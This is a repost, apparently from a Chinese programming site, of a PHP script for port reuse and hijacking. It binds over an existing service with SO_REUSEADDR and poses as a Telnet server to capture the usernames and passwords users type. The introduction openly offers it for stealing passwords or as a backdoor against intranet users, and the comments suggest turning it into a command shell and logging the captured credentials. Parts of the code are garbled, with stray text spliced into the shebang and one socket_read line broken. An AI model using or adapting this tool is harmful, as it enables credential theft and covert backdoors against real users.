程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> PHP下實現端口復用/劫持

PHP下實現端口復用/劫持

編輯:關於PHP編程

假如監聽127.0.0.1 ,訪問共網IP不受影響,假如監聽公網IP,127。0。0。1等IP不受影響。
這個可以用於欺騙用戶密碼,因為原來的服務不可用了。或者留成針對內網用戶的後門。
最後歡迎加MSN:CQXY[AT]21CN。NET賜教。
#!/usr/bin/php(做為現在的主流開發語言) -q
#c0dz by Darkness[BST]
#Team:www.bugkidz.org
#E-mail:cqxy[at]21cn.net
if ($argc != 3 || in_array($argc[1] , array(--help,-h,?)))
{
echo "Use:#./$argv[0] www.bugkidz.org 192.168.0.1 21 ";
echo "c0dz By Darkness[BST]";
exit;
}
error_reporting(E_ALL);

set_time_limit(0);

ob_implicit_flush();

$host = $argv[1];
$port = $argv[2];
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
echo "socket_create() failed: reason: " . socket_strerror($sock) . " ";
} /*建立SOCKET*/
socket_set_option($sock,SOL_SOCKET,SO_REUSEADDR,1); /*設置SOCKET連接的屬性為SO_REUSEADDR,這樣才可以端口復用*/
if (($ret = socket_bind($sock, $host, $port)) < 0) {
echo "socket_bind() failed: reason: " . socket_strerror($ret) . " ";
}/*綁定端口*/

if (($ret = socket_listen($sock, 5)) < 0) {
echo "socket_listen() failed: reason: " . socket_strerror($ret) . " ";
} /*開始監聽*/


while(true) {

if (($sniffer = socket_accept($sock)) < 0) {
echo "socket_accept() failed: reason: " . socket_strerror($sniffer) . " ";
break;
}
if ($port == 23)
{
$txt = "Welcome to the Telnet Server ";
$txt .="User: ";
socket_write($sniffer, $txt, strlen($txt));
} /*這裡是偽裝信息,把自己偽裝成原來的TELNET服務器,這樣來騙取密碼*/

while(true) {

if(($buf _read($sniffer">=@socket_read($sniffer, 2048, php(做為現在的主流開發語言)_BINARY_READ)) ==false)
{

break;

}

if (!$buf = trim($buf)) {
continue;
}


if ($buf == !quit) {
break;
}
if ($buf == !shutdown) {
socket_close($sniffer);
break 2; /*其實這裡可以調用system(),搞成一個CMD後門,反正你想怎麼改都可以*/
}

$sniff_data = "$buf ";

/* else socket_write($sniffer, $sniff_data, strlen($sniff_data));*/
echo $sniff_data;
/*輸出字符串,這裡可以加進文件處理,保存密碼什麼的*/
}
socket_close($sniffer);


}
socket_close($resock);
socket_close($sock);
?>

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved